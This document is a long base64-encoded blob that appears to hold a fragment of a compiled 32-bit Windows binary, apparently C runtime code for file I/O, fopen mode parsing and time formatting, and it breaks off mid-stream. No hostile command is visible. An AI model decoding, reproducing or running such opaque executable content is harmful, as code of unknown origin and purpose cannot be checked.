UFH/FdRDBxCFwHQfi4X06///AUYEO8dyGouF+Ov//4uN8Ov//zvYcofrCP8V5EMHEIkGi038i8ZfXjPNW+gH4v7/i+Vdw4v/VYvsuBgUAADoX64AAKEYYAoQM8WJRfyLTQyLwcH4BoPhP2vJMFNWiwSFEJMKEDPbi3UIV4tECBiLTRCL+YmF7Ov//4tFFAPBiR6JXgSJhfTr//+JXgg7yA+DugAAAIu19Ov//42FUPn//zv+cyEPtw+DxwKD+Qp1CWoNWmaJEIPAAmaJCIPAAo1N+DvBcttTU2hVDQAAjY346///UY2NUPn//yvB0fhQi8FQU2jp/QAA/xVgQwcQi3UIiYXo6///hcB0TGoAjY3w6///K8NRUI2F+Ov//wPDUP+17Ov///8V1EMHEIXAdCcDnfDr//+Lhejr//872HLLi8crRRCJRgQ7vfTr//9zDzPb6U7/////FeRDBxCJBotN/IvGX14zzVvo2uD+/4vlXcNqFGjQNgoQ6MXe/v+LdQiD/v51GOju1v//gyAA6PnW///HAAkAAADptgAAAIX2D4iWAAAAOzUQlQoQD4OKAAAAi97B+waLxoPgP2vIMIlN4IsEnRCTChAPtkQIKIPgAXRpVuj5BgAAWYPP/4l95INl/ACLBJ0QkwoQi03g9kQIKAF1FeiS1v//xwAJAAAA6HTW//+DIADrFP91EP91DFboRwAAAIPEDIv4iX3kx0X8/v///+gKAAAAi8frKYt1CIt95FboTwcAAFnD6DjW//+DIADoQ9b//8cACQAAAOgB0///g8j/6C3e/v/Di/9Vi+yD7DChGGAKEDPFiUX8i00QiU34Vot1CFeLfQyJfdCFyXUHM8DpzgEAAIX/dR/o5dX//yE46PHV///HABYAAADor9L//4PI/+mrAQAAU4vGi97B+waD4D9r0DCJXeSLBJ0QkwoQiUXUiVXoilwQKYD7AnQFgPsBdSiLwffQqAF1HeiS1f//gyAA6J3V///HABYAAADoW9L//+lRAQAAi0XU9kQQKCB0D2oCagBqAFbo810AAIPEEFbo5Pr//1mEwHQ5hNt0Iv7LgPsBD4fuAAAA/3X4jUXsV1DoVvr//4PEDIvw6ZwAAAD/dfiNRexXVlDoi/j//4PEEOvmi0XkiwyFEJMKEItF6PZEASiAdEYPvsOD6AB0LoPoAXQZg+gBD4WaAAAA/3X4jUXsV1ZQ6MP7///rwf91+I1F7FdWUOih/P//67H/dfiNRexXVlDoxPr//+uhi0QBGDPJUYlN7IlN8IlN9I1N8FH/dfhXUP8V1EMHEIXAdQn/FeRDBxCJReyNdeyNfdilpaWLRdyFwHVji0XYhcB0JGoFXjvGdRToh9T//8cACQAAAOhp1P//iTDrPFDoPNT//1nrM4t90ItF5ItN6IsEhRCTChD2RAgoQHQJgD8adQQzwOsb6ErU///HABwAAADoLNT//4MgAIPI/+sDK0XgW4tN/F8zzV7o493+/4vlXcNqDGjwNgoQ6M7b/v+DZeQAi0UI/zDoTwQAAFmDZfwAi0UMiwCLMIvWwfoGi8aD4D9ryDCLBJUQkwoQ9kQIKAF0C1bo4gAAAFmL8OsO6NLT///HAAkAAACDzv+JdeTHRfz+////6A0AAACLxuiw2/7/wgwAi3Xki0UQ/zDooAQAAFnDi/9Vi+yD7AyLRQiNTf+JRfiJRfSNRfhQ/3UMjUX0UOha////i+Vdw4v/VYvsUVaLdQiD/v51FehS0///gyAA6F3T///HAAkAAADrU4X2eDc7NRCVChBzL4vGi9aD4D/B+gZryDCLBJUQkwoQ9kQIKAF0FI1FCIlF/I1F/FBW6H3///9ZWesb6ALT//+DIADoDdP//8cACQAAAOjLz///g8j/XovlXcOL/1WL7FZXi30IV+itBQAAWYP4/3UEM/brTqEQkwoQg/8BdQn2gIgAAAABdQuD/wJ1HPZAWAF0FmoC6H4FAABqAYvw6HUFAABZWTvGdMhX6GkFAABZUP8V7EMHEIXAdbb/FeRDBxCL8FfovgQAAFmLz4PnP8H5BmvXMIsMjRCTChDGRBEoAIX2dAxW6DTS//9Zg8j/6wIzwF9eXcNqDGgQNwoQ6Ana/v8z/4t1CIk+agjoDPT//1mJffyNReRQ6HMAAABZiwCJBoXAdA+JeAiJeByJOIl4BINIEP/HRfz+////6AsAAACLxugJ2v7/w4t1CGoI6BH0//9Zw4v/VYvsi0UIM8mJCItFCIlIBItFCIlICItFCINIEP+LRQiJSBSLRQiJSBiLRQiJSByLRQiDwAyHCF3Di/9Vi+xRU4sdlJEKEFZXiz2YkQoQg8cMg8P9jRyfiV3860GLN4X2dFOLRgzB6A2oAXUuVug6I///WY1WDLsAIAAAiwKLyAvL8A+xCnX2i138wegN9tCoAXUbVugnI///WYPHBDv7dbuLRQiDIABfXluL5V3Di0UIiTDr8mo4agHot8v//2oAiQfoicr//4sHg8QMhcB00YNIEP+LB2oAaKAPAACDwCBQ6EDv//+LN7kAIAAAjUYM8AkIVuizIv//Weuyi/9Vi+xRUVNXajBqQOhny///i/gz24l9+FlZhf91BIv760iNhwAMAAA7+HQ+Vo13IIv4U2igDwAAjUbgUOjo7v//g074/4kejXYwiV7UjUbgx0bYAAAKCsZG3AqAZt34iF7eO8d1zIt9+F5T6OPJ//9Zi8dfW4vlXcOL/1WL7FaLdQiF9nQlU42eAAwAAFeL/jvzdA5X/xWYQgcQg8cwO/t18lboq8n//1lfW15dw2oUaFA3ChDo/df+/4F9CAAgAAAbwPfYdRfoNND//2oJXokw6PPM//+Lxugg2P7/wzP2iXXkagfo3vH//1mJdfyL/qEQlQoQiX3gOUUIfB85NL0QkwoQdTHo9P7//4kEvRCTChCFwHUUagxeiXXkx0X8/v///+gVAAAA66yhEJUKEIPAQKMQlQoQR+u7i3XkagfozPH//1nDi/9Vi+yLRQiLyIPgP8H5BmvAMAMEjRCTChBQ/xVIQwcQXcOL/1WL7FFTVot1CIX2eGk7NRCVChBzYYvGi96D4D/B+wZryDCLBJ0QkwoQiU38g3wBGP91Q1foOFgAAIt9DIP4AXUig+4AdBSD7gF0CoPuAXUTV2r06whXavXrA1dq9v8V3EEHEIsEnRCTChCLTfyJfAEYM8Bf6xboGs///8cACQAAAOj8zv//gyAAg8j/XluL5V3Di/9Vi+yLRQiLyIPgP8H5BmvAMAMEjRCTChBQ/xUwQwcQXcNqHGgwNwoQ6IvW/v9qB+iV8P//WYPP/4l95DPbiV38iV3UgfuAAAAAfU2LBJ0QkwoQiUXYhcB1U+ii/f//iQSdEJMKEIXAdC+DBRCVChBAi/vB5wZX6Mz+//9Zi9fB+gaLx4PgP2vIMIsElRCTChDGRAgoAYl95MdF/P7////ohgAAAIvH6FPW/v/DjYgADAAAiU3gi/BqMFiJddw78XRg9kYoAXUaVv8VSEMHEPZGKAF0EVb/FTBDBxCLTeBqMFgD8OvVK3XYi8aZajBZ9/nB4waNNAOL1sH6BovOg+E/a8kwiwSVEJMKEMZEASgBiwSVEJMKEIl8ARiL/ul0////Q+kZ////i33kagfo4O///1nDi/9Vi+xTVot1CFeF9nhnOzUQlQoQc1+Lxov+g+A/wf8Ga9gwiwS9EJMKEPZEAygBdESDfAMY/3Q96GxWAACD+AF1IzPAK/B0FIPuAXQKg+4BdRNQavTrCFBq9esDUGr2/xXcQQcQiwS9EJMKEINMAxj/M8DrFuhTzf//xwAJAAAA6DXN//+DIACDyP9fXltdw4v/VYvsi00Ig/n+dRXoGM3//4MgAOgjzf//xwAJAAAA60OFyXgnOw0QlQoQcx+LwYPhP8H4BmvJMIsEhRCTChD2RAgoAXQGi0QIGF3D6NjM//+DIADo48z//8cACQAAAOihyf//g8j/XcOL/1WL7IPsEDPAU4tdCFZXjX3wq4118GoCWWogq6uL+6WlpaF8lwoQi3UMiUMEX+sCA/FmOT50+Q+3BjPSg/hhdCGD+HJ0EYP4dw+F2wEAAMcDAQMAAOsRiRPHQwQBAAAA6wnHAwkBAACJSwQD8YhV/TLtiFX8iFX+sQGIbf8PtwZmhcAPhN0AAACD+FN/cHRcK8cPhLcAAACD6At0QoPoAXQ0g+gYdCeD6Ap0FYPoBA+FdQEAAIpt/4TSdR+DCxDrNIELgAAAALEB6YEAAABT6PQBAADrc7UBiG3/Msnrc41F/FBT6H0CAABZ612Kbf+E0nXoCTuyAYhV/orK61SD6FR0QIPoDnQzg+gBdCKD6At0EYPoBg+FDwEAAFPoegIAAOsmjUX9UFPoFwIAAOu6jUX9UFPo6QEAAOuuU+jBAQAA6wZT6JoBAACKVf5ZisiKbf8zwITJD5XAjTRGhMkPhRn////rA4pt/4TtdAODxgJmOT50+ITtdRQzwGY5Bg+FpgAAAMZDCAHprQAAAGoDaGxpBxBW6NdPAACDxAyFwA+FhQAAAIPGBusDg8YCZjk+dPhmgz49dXKDxgJmOT50+GoFaHRpBxBW6KSY//+DxAyFwHULg8YKgQsAAAQA60FqCGiAaQcQVuiFmP//g8QMhcB1C4PGEIELAAACAOsiagdokGkHEFboZpj//4PEDIXAdRiDxg6BCwAAAQDrA4PGAmY5PnT46U/////oo8r//8cAFgAAAOhhx///X16Lw1uL5V3Di/9Vi+yD7BxWV/91DI1F5FDopv3//4vwjX3wWVmlpaWAffgAX151BDPA61VogAEAAP91EI1F/P918P91CFDoVF0AAIPEFIXAdd6LRRT/BZyRChCDwAyLTfTwCQiLRRQzyYlICItFFIlIHItFFIlIBItFFIkIi00Ui0X8iUEQi0UUi+Vdw4v/VYvsi00IiwGoQHQEMsBdw4PIQIkBsAFdw4v/VYvsi00IugAQAACLAYXCdAQywF3DC8KJAbABXcOL/1WL7ItNCIsBqQDAAAB0BDLAXcMNAIAAAIkBsAFdw4v/VYvsi0UMgDgAdAQywF3Di00IxgABsAGBSQQACAAAXcOL/1WL7ItFDIA4AHQEMsBdw4tNCMYAAbABgWEE//f//13Di/9Vi+yLRQyAOAB0BDLAXcOLVQjGAAGLAqgCdfCLSgSD4P6DyAKD4fyDyQSJAolKBLABXcOL/1WL7ItNCIsBqQDAAAB0BDLAXcMNAEAAAIkBsAFdw4v/VYvsXel9/v//i/9Vi+xR6OLR//+LSEyJTfyNTfxRUOgh0///i0X8WVmLAIvlXcOL/1WL7FFRZotFCLn//wAAZjvBdQQzwOtCuQABAABmO8FzDg+3yKH4YQoQD7cESOskZolF+DPAZolF/I1F/FBqAY1F+FBqAf8V2EEHEIXAdMQPt0X8D7dNDCPBi+Vdw4v/VYvsg+wkoRhgChAzxYlF/FP/dRCLXQiNTeDoAPP+/41DAT0AAQAAdwuLReSLAA+3BFjreovDjU3kwfgIiUXcUQ+2wFDoRysAAFlZhcB0E4tF3IhF8DPAagKIXfGIRfJZ6wszwIhd8DPJiEXxQYlF9GaJRfiLReRqAf9wCI1F9FBRjUXwUI1F5GoBUOjOTAAAg8QchcB1EzhF7HQKi0Xgg6BQAwAA/TPA6xcPt0X0I0UMgH3sAHQKi03gg6FQAwAA/YtN/DPNW+h10f7/i+Vdw+jYXQAAJQADAADDi/9Vi+xXi30Ihf91C/91DOgiwf//WeskVot1DIX2dQlX6NfA//9Z6xCD/uB2Jeh3x///xwAMAAAAM8BeX13D6GsqAACFwHTmVugEJgAAWYXAdNtWV2oA/zUwlwoQ/xXQQgcQhcB02OvSi/9Vi+xWi3UIV/91EIt9DFdW6DcAAACDxAyFwHUnTlboB5j//zPJhMAPlcErfRCBwW0BAACDxwdRV1boDgAAAIPEEOsFfwMzwEBfXl3Di/9Vi+xTVot1DFdqB1mNRgaZ9/mLRRArwgPBmff5/3UIi9jotpf//yt1EFkPtshqB42GcwEAAIt9EJkr+V73/o2BbQEAAIvyA8ZqB5lZ9/mB/2wBAAB8BYP6AnQagf9rAQAAfAWD+gN0DYH/agEAAHwKg/oEdQWDyP/rFIP+AnQMg/4DdAeLw4P+BHUDjUMBX15bXcOL/1WL7Fb/dRCLdQj/dQxW6Fb///+DxAyFwHUFjUb/6weLxn8DjUYBXl3Di/9Vi+xRUYtVDFMPt8JWV4P4Wg+OxgUAAIP4bg+PMwMAAA+EHQMAAIP4ZQ+O4wAAAIPoZw+EkQAAAIPoAXUHamJaUljr00iD6AF0SoPoAw+FugIAAItFEItIEIXJD4icAgAAg/kLD4+TAgAAgH0gAA+VwP7IJDBmmA+3wFD/dRj/dRRqAo1BAVDobgoAAIPEFOkzCgAAi0UQi0gchckPiFsCAACB+W0BAAAPj08CAACAfSAAD5XA/sgkMGaYD7fAUP91GP91FGoD67qLRRCBeBSU+P//D4wkAgAAgXgUox8AAA+PFwIAAGow/3UY/3UUagL/cBz/cBj/cBTo1f7//4PEDAVsBwAAamSZWff5Uul1////D4T8AQAAg+hhD4S7AQAAg+gBD4SGAQAAg+gBdESD6AEPhdUBAACLRRCDeAwBD4y4AQAAg3gMHw+PrgEAAIB9IAAPlcH+yYDhMGYPvskPt8lR/3UY/3UUagL/cAzpFP///4tdHItNIIH7iGIHEA+F3QAAAITJD4XVAAAAi30YM/ZWU4tdFFdT/3UQamH/dQjoWP7//4PEHITAdRDof8T//8cAFgAAAOlQAQAAV1No9G4JEOg6CgAAVv91HFdT/3UQamL/dQjoIv7//4PEKITAdMpXU2j0bgkQ6BQKAABW/3UcV1P/dRBqZf91COj8/f//g8QohMB0pFdTaPRuCRDo7gkAAFb/dRxXU/91EGpU/3UI6Nb9//+DxCiEwA+Eev///1dTaPRuCRDoxAkAAFb/dRxXU/91EGpZ/3UI6Kz9//+DxCiEwA+FaggAAOlL////U/91GDPAhMn/dRQPlcD/dRBQ/3UI6LgJAACDxBiEwA+EJv////91GP91FGj0bgkQ6GwJAABT/3UY/3UU/3UQagL/dQjoiQkAAIPEJOuli0UQi0gQhcl4Q4P5C38+/3UYi0Uc/3UU/7SI7AAAAOgvCQAAg8QM6esHAACLRRCLSBiFyXgXg/kGfxL/dRiLRRz/dRT/tIi0AAAA69LoL8P//8cAFgAAAOjtv///MsDptQcAAItFEItIDIP5AXzeg/kff9mAfSAAD5XA/sgkIGaYD7fAUP91GP91FGoCUelE/f///3UY/3UUaLT/BxDpfP///4P4dw+PYgEAAHQag+hwD4QeAQAASIPoAXRaSIPoAXREg+gBdZWLRRCLSBiFyQ+Id////4P5Bg+Pbv///4XJdQlmg/p1dQNqB1mAfSAAD5XA/sgkMGaYD7fAUP91GP91FGoB64b/dRj/dRRo/IMIEOkI////i3Uc/3UgVoH+iGIHEA+FkAAAAIt9GItdFFdT/3UQakn/dQjoD/z//4PEHITAD4Sz/f//V1NovHEHEOj9BwAA/3UgVldT/3UQak3/dQjo5fv//4PEKITAD4SJ/f//V1NovHEHEOjTBwAA/3UgVldT/3UQalP/dQjou/v//4PEKITAD4Rf/f//V1No9G4JEOipBwAA/3UgVldT/3UQanDp4P3///91GP91FP91EGpY/3UI6IH7//+DxBzp0P3//4tFEItACIXAD4hq/v//g/gXD49h/v//g/gLi0UcfwiLgEwBAADrBouAUAEAAP91GP91FFDpEf7//4PoeA+E8QAAAIPoAQ+EpgAAAIPoAQ+FNP7//+ilYAAAjUX8M/ZQiXX86FtcAABZhcAPhQj+//+LRRA5cCB0II1F+Il1+FDoElwAAFmFwA+F6/3//4tN/ANN+IlN/OsDi038i8GZM8IrwplqPF73/pn3/oXJufxGCRCL+ovweAW5YEcJEP91GP91FFHotQYAAGow/3UY/3UUagJW6JwFAABqMP91GP91FGoCV+iMBQAAg8Q06VEFAACLRRCLSBSB+ZT4//8PjHX9//+B+aMfAAAPj2n9//+AfSAAD5XA/sgkMGaYD7fAUP91GI2BbAcAAP91FGoC6U77////dRwzwP91GDhFIP91FA+VwP91EFD/dQjoXwYAAIPEGOl4/P//D4R7BAAAg/hND4+bAgAAD4R/AgAAg/hED49DAQAAD4TQAAAAg+glD4S3AAAAg+gcD4SCAAAAg+gBdFGD6AEPhez8//+LRRCLSBSB+ZT4//8PjMr8//+B+aMfAAAPj778//+AfSAAD5XA/sgkMGaYD7fAUP91GI2BbAcAAP91FJlqAmpkWff56R36//+LRRCLSBCFyQ+Ihvz//4P5Cw+Pffz///91GItFHP91FP+0iBwBAADpOvz//4tFEItIGIXJD4ha/P//g/kGD49R/P///3UYi0Uc/3UU/7SI0AAAAOkO/P///3UY/3UUaMBxBxDp/vv///91IIt1GP91HIt9FFZX/3UQam3/dQjoEvn//4PEHITAD4S2+v//Vle71FwHEFPo/wQAAP91IP91HFZX/3UQamT/dQjo5fj//4PEKITAD4SJ+v//VldT6NcEAAD/dSD/dRxWV/91EGp56Qz7//+D6EYPhL0AAACD6AF0doPoAXRKg+gBD4Wz+///i0UQi0AIhcAPiJX7//+D+BcPj4z7//9qDJlZ9/mF0nUCi9GAfSAAD5XA/sgkMGaYD7fAUP91GP91FGoC6XH5//+LRRCLSAiFyQ+IVPv//4P5Fw+PS/v//4B9IAAPlcD+yCQw6W37//+LRRCBeBSU+P//D4wr+///gXgUox8AAA+PHvv//2ow/3UY/3UUagT/cBz/cBj/cBTo3Pf//4PEDAVsBwAA6YL4////dSCLdRj/dRyLfRRWV/91EGpZ/3UI6N/3//+DxByEwA+Eg/n//1ZXu2BHCRBT6MwDAAD/dSD/dRxWV/91EGpt/3UI6LL3//+DxCiEwA+EVvn//1ZXU+ikAwAA/3Ug/3UcVlf/dRBqZOnZ+f//i0UQi0gEhckPiH76//+D+TvpJf///2oHg+hSXzvHD4d4+v///ySFknUGEP91IP91HP91GP91FP91EGpI/3UI6En3//+DxByEwA+E7fj///91GP91FGi8cQcQ6DMDAAD/dSD/dRz/dRj/dRT/dRBqTelk+f//i0UQiwiFyQ+ICvr//4P5POmx/v///3Ugi3UY/3Uci30UVlf/dRBqSP91COjo9v//g8QchMAPhIz4//9WV7u8cQcQU+jVAgAA/3Ug/3UcVlf/dRBqTf91COi79v//g8QohMAPhF/4//9WV1PorQIAAP91IP91HFZX/3UQalPp4vj//4tFEItIGIXJD4iH+f//g/kGD49++f//ZoP6V3UKhcl1BWoGWesBSYtAHIXAD4hj+f//PW0BAAAPj1j5//8z9jvBfAqZ9/+L8DvRfAFGgH0gAA+Vwf7JgOEwZg++wQ+3wFD/dRj/dRRqAlbpsPb//4B9IAAPlcD+yCQwZpgPt8BQ/3UYi0UQ/3UUagL/cBz/cBj/cBTo7/T//4PEDOl99v///3Uc/3UY/3UU/3UQagLpsfv//4tFEItIFIH5lPj//w+Mz/j//4H5ox8AAA+Pw/j//4B9IAAPlcD+yCQwZpgPt8BQ/3UYjYFsBwAA/3UUagTpKPb//+ggWwAAM/aJdfjofFYAAItNEDPS/3UIi30Yi10UOXEgav8PlcKLBJBQ/zeNRfj/M1DoKVUAAIPEGIXAdAqD+BZ0MIP4InQrg/hQdQqLBwPAAQOJN+sTi034M8BAK8EBB40ETf7///8BA7ABX15bi+Vdw1ZWVlZW6DC4//9UcwYQnnMGELNzBhAgdAYQj3QGECB0BhDBdAYQ1HQGEIv/VYvsg+wMZoN9GAB1E/91FP91EP91COiFAAAAg8QM63yLRQxWi3UUOwZzbVMz20hXi30QjUgBiU30hcl0UItNCAPAZot1GIlF/IlN+IXJdBaLwWoKmVn3+YsHi038g8IwZokUAesGiw9miTQIi0X4mWoKWff5Q4vIi0X8g+gCiU34g230AYlF/HXCi3UUjQQbAQcpHl9b6wODJgBei+Vdw4v/VYvsVot1EFeLfQyLBosPg/gBdkRTi10Ii8NqCplb9/uL2I1CMGaJAYPBAv8Ohdt+BYM+AXfiixeNcf6JD1vrEmaLAg+3DmaJBoPuAmaJCoPCAjvWcurrCQPAK8iJD4MmAF9eXcOL/1WL7ItNEIM5AHQii1UIVot1DFcPtzpmhf90EIsGg8ICZok4gwYCgykBdehfXl3Di/9Vi+yD7DChGGAKEDPFiUX8i0UIi1UQiUXQi0UUU4tdHIlF3ItFDIlV1Ild2FaLdRiJdeRXg+gAdBWD6AF0CIu7XAEAAOsOi7tYAQAA6waLu1QBAACDu6wAAAABD4TpAwAAg30MArhsBwAAD5TBZgNCFGaJRexmi0IQZkCITeNmiUXuZotCDGaJRfJmi0IIZolF9GaLQgRmiUX2ZosCZolF+DPAZolF+o1F7ITJdBQzyVFRV1BR/7NgAQAA6PTW///rEzPJUVFRV1BR/7NgAQAA6F3W//+L2IXbD4RrAwAAjRQbjUoIO9EbwIXBdFiNSgg70RvAI8GNSgg9AAQAAHcjO9EbwCPB6EePAACL9Il16IX2D4S0AAAAxwbMzAAAg8YI6yQ70RvAI8FQ6Fmy//+L8Il16FmF9g+EjwAAAMcG3d0AAOvZM/aJdeiF9nR+gH3jAI1F7HQWU1ZXUItF2GoA/7BgAQAA6EnW///rFmoAU1ZXUItF2GoA/7BgAQAA6K/V//+L0Iv+SoXSfiOLXeSLddyDOwB2FYsOZosHg8cCZokBgwYC/wtKhdJ/5ot16FboOQQAAFmwAY1lxF9eW4tN/DPN6O/B/v+L5V3DagDoGwQAAIt15FnpbgIAAIM+AHTVxkXkADPJiX3oi98Pt8KDwwJBZjkDdPcPt8KJXeiLXdiD+GQPjy8BAAAPhPgAAACD+CcPhJoAAACD+EF0E4P4SHRYg/hNdCKD+GEPheIBAABoqHEHEFfo/AX//1lZhcB1U41PColN6Otig+kBdCGD6QF0IIPpAXQQg+kBD4WxAQAAakLpwgEAAGpi6bsBAADGReQBam3psAEAAIPpAXQKg+kBdAnpiQEAAMZF5AFqSOmWAQAAaLRxBxBX6JgF//9ZWYXAdQaNRwaJRehqcOl4AQAAi8ElAQAAgHkFSIPI/kCNPE8PhYABAAAPtw9mhckPhOD+//+LVdyDPgAPhGgBAABqJ1iDxwJmO8gPhFkBAACLAmaJCIMCAv8OD7cPZoXJddbpQgEAAIPpAXQhg+kBdCCD6QF0EIPpAQ+F8wAAAGpB6QQBAABqYen9AAAAxkXkAWpk6fIAAACD6GgPhMcAAACD6AUPhKoAAACD6AYPhI0AAACD6AF0J4PoBQ+FsQAAAEmD6QF0EUmD6QEPhaEAAABqWemyAAAAannpqwAAAItF1IN4CAt/CIuTTAEAAOsGi5NQAQAAg/kBdRqDPgB2FYt93GaLAosPZokBgwcC/w7pkQAAAA+3CmaFyQ+EhQAAAItd3IM+AHZ9iwODwgJmiQiDAwL/Dg+3CmaFyXXm62aD6QF0B4PpAXQG6ybGReQBalPrNoPpAXQHg+kBdAbrEsZF5AFqTesig+kBdBeD6QF0FotN3IPHAosBZokQgwEC/w7rJcZF5AFqSVj/deRTVv913P911FD/ddDoiO///4PEHITAdBSLfegPtxdmhdIPhYb9///pW/3//+ibtf//xwAWAAAAMsDpS/3//4v/VYvsg+wkV4t9CIX/dRfoebX//8cAFgAAAOg3sv//M8DpVQEAAIN9DAB041aLdRAzwGaJB4X2dRfoT7X//8cAFgAAAOgNsv//M8DpKgEAAP91HI1N3OjM3/7/i1UYhdJ1DItF4IuQnAAAAIlVGItFDIvPUzPbiU30iUX4hcAPhrcAAAAPtz6JffAPt/+F/4t9CA+EigAAAIt98GaD/yWLfQh0G4tF8IPGAmaJAYtN9ItF+IPBAkiJTfSJRfjrWDldFA+EjwAAAIPGAohd7GaDPiN1B8ZF7AGDxgIPtwaD+EV0BYP4T3UDg8YC/3XsjUX4UlCNRfRQ/3UUD7cGUI1F4FDoU+7//4PEHITAi0X4dCKLTfSDxgKLVRiFwA+FYv///4XAdBWLXQwzwGaJAStd+Os0hcB0BLEB6wKKyzPSZokXhMl1EYXAdQ3oPrT//8cAIgAAAOsQ6DG0///HABYAAADo77D//4B96AB0CotN3IOhUAMAAP2Lw1teX4vlXcOL/1WL7ItFCIXAdBKD6AiBON3dAAB1B1DoQ63//1ldw/8VkEIHEIXAozCXChAPlcDDgyUwlwoQALABw4v/VYvsVot1FIX2fhRW/3UQ6Ei3//9ZO8ZZjXABfAKL8DPAUFBQ/3Uc/3UYVv91EP91DP91COgi0v//Xl3Di/9Vi+yLRQw7RQh2BYPI/13DG8D32F3Di/9Vi+yLRQyD7CBWhcB1Fuhns///ahZeiTDoJrD//4vG6VgBAACLdQgzyVNXiQiL+YvZiX3giV3kiU3oOQ50Vo1F/GbHRfwqP1D/NohN/ugPWAAAWVmFwHUUjUXgUGoAagD/NugnAQAAg8QQ6w+NTeBRUP826KwBAACDxAyL+IX/D4XrAAAAg8YEM8k5DnWwi13ki33gg2X4AIvDK8eJTfyL0IPAA8H6AkLB6AI734lV9Bv299Yj8HQwi9eL2YsKjUEBiUX8igFBhMB1+StN/EOLRfgD2YPCBECJRfg7xnXdi1X0iV38i13kagH/dfxS6D2j//+L8IPEDIX2dQWDz//rZ4tF9I0EholF8IvQiVX0O/t0TovGK8eJReyLD41BAYlF+IoBQYTAdfkrTfiNQQFQ/zeJRfiLRfArwgNF/FBS6AhXAACDxBCFwHU2i0Xsi1X0iRQ4g8cEA1X4iVX0O/t1uYtFDDP/iTBqAOheq///WY1N4OgwAgAAi8dfW16L5V3DM8BQUFBQUOjGrv//zIv/VYvsUYtNCI1RAYoBQYTAdfkryoPI/1eLfRBBK8eJTfw7yHYFagxY61lTVo1fAQPZagFT6Cqs//+L8FlZhf90Elf/dQxTVuhxVgAAg8QQhcB1Nf91/CvfjQQ+/3UIU1DoWFYAAIPEEIXAdRyLTRRW6MkBAABqAIvw6MCq//9Zi8ZeW1+L5V3DM8BQUFBQUOgwrv//zIv/VYvsgexQAQAAoRhgChAzxYlF/ItNDFOLXQhWi3UQV4m1uP7//+sZigE8L3QXPFx0Ezw6dA9RU+g/VgAAWVmLyDvLdeOKEYD6OnUXjUMBO8h0EFYz/1dXU+gL////g8QQ63oz/4D6L3QOgPpcdAmA+jp0BIvH6wMzwEAPtsAry0H32GhAAQAAG8AjwYmFtP7//42FvP7//1dQ6J3I/v+DxAyNhbz+//9XV1dQV1P/FdRBBxCL8IuFuP7//4P+/3UtUFdXU+if/v//g8QQi/iD/v90B1b/FQhEBxCLx4tN/F9eM81b6Ce6/v+L5V3Di0gEKwjB+QKJjbD+//+Avej+//8udRiKjen+//+EyXQpgPkudQmAver+//8AdBtQ/7W0/v//jYXo/v//U1DoOP7//4PEEIXAdZWNhbz+//9QVv8V0EEHEIXAi4W4/v//dayLEItABIuNsP7//yvCwfgCO8gPhGf///9oVX0GECvBagRQjQSKUOhhUAAAg8QQ6Uz///+L/1ZXi/mLN+sL/zboFKn//1mDxgQ7dwR18P836ASp//9ZX17Di/9Vi+xWV4vx6CcAAACL+IX/dA3/dQjo5Kj//1mLx+sOi04Ei0UIiQGDRgQEM8BfXl3CBACL/1aL8VeLfgg5fgR0BDPA63KDPgB1K2oEagTo0Kn//2oAiQbooqj//4sGg8QMhcB1BWoMWOtNiUYEg8AQiUYI68wrPsH/AoH/////f3fjU2oEjRw/U/826DYMAACDxAyFwHUFagxe6xCJBo0MuI0EmIlOBIlGCDP2agDoS6j//1mLxltfXsOL/1WL7F3pavv//2oIaJA3ChDokbb+/4tFCP8w6JjQ//9Zg2X8AItNDOhIAAAAx0X8/v///+gIAAAA6K+2/v/CDACLRRD/MOi10P//WcOL/1WL7IPsDItFCI1N/4lF+IlF9I1F+FD/dQyNRfRQ6Jn///+L5V3Di/9Wi/FqDIsGiwCLQEiLQASjOJcKEIsGiwCLQEiLQAijPJcKEIsGiwCLQEiLgBwCAACjNJcKEIsGiwCLQEiDwAxQagxoQJcKEOhLe///iwa5AQEAAFGLAItASIPAGFBRaPBiChDoL3v//4sGuQABAABRiwCLQEgFGQEAAFBRaPhjChDoEXv//6EYZwoQg8Qwg8n/8A/BCHUToRhnChA9+GQKEHQHUOgjp///WYsGiwCLQEijGGcKEIsGiwCLQEjw/wBew4v/VYvsi0UILaQDAAB0KIPoBHQcg+gNdBCD6AF0BDPAXcOhOHIHEF3DoTRyBxBdw6EwcgcQXcOhLHIHEF3Di/9Vi+yD7BCNTfBqAOgB2P7/gyVMlwoQAItFCIP4/nUSxwVMlwoQAQAAAP8VyEEHEOssg/j9dRLHBUyXChABAAAA/xX0QQcQ6xWD+Px1EItF9McFTJcKEAEAAACLQAiAffwAdAqLTfCDoVADAAD9i+Vdw4v/VYvsU4tdCFZXaAEBAAAz/41zGFdW6NHE/v+JewQzwIl7CIPEDIm7HAIAALkBAQAAjXsMq6urv/hkChAr+4oEN4gGRoPpAXX1jYsZAQAAugABAACKBDmIAUGD6gF19V9eW13Di/9Vi+yB7CAHAAChGGAKEDPFiUX8U1aLdQiNhej4//9XUP92BP8VxEEHEDPbvwABAACFwA+E8AAAAIvDiIQF/P7//0A7x3L0ioXu+P//jY3u+P//xoX8/v//IOsfD7ZRAQ+2wOsNO8dzDcaEBfz+//8gQDvCdu+DwQKKAYTAdd1T/3YEjYX8+P//UFeNhfz+//9QagFT6N8wAABT/3YEjYX8/f//V1BXjYX8/v//UFf/thwCAABT6EYRAACDxECNhfz8//9T/3YEV1BXjYX8/v//UGgAAgAA/7YcAgAAU+geEQAAg8Qki8sPt4RN/Pj//6gBdA6ATA4ZEIqEDfz9///rEKgCdBWATA4ZIIqEDfz8//+IhA4ZAQAA6weInA4ZAQAAQTvPcsHrWWqfjZYZAQAAi8tYK8KJheD4//8D0QPCiYXk+P//g8Agg/gZdwqATA4ZEI1BIOsTg73k+P//GXcOjQQOgEgZII1B4IgC6wKIGouF4Pj//42WGQEAAEE7z3K6i038X14zzVvozbT+/4vlXcOL/1WL7IPsDOjhs///iUX86AoBAAD/dQjod/3//1mLTfyJRfSLSUg7QQR1BDPA61NTVldoIAIAAOhdpP//i/iDy/9Zhf90Lot1/LmIAAAAi3ZI86WL+Ff/dfSDJwDoXwEAAIvwWVk783Ud6J6q///HABYAAACL81fo46P//1lfi8ZeW4vlXcOAfQwAdQXonsH//4tF/ItASPAPwRhLdRWLRfyBeEj4ZAoQdAn/cEjoraP//1nHBwEAAACLz4tF/DP/iUhIi0X89oBQAwAAAnWn9gUcZwoQAXWejUX8iUX0jUX0UGoF6ID7//+AfQwAWVl0haEYZwoQo7xhChDpdv///4A9UJcKEAB1EmoBav3o7f7//1lZxgVQlwoQAbABw2oMaHA3ChDombH+/zP2iXXk6Lmy//+L+IsNHGcKEIWPUAMAAHQROXdMdAyLd0iF9nVo6Oyj//9qBeh4y///WYl1/It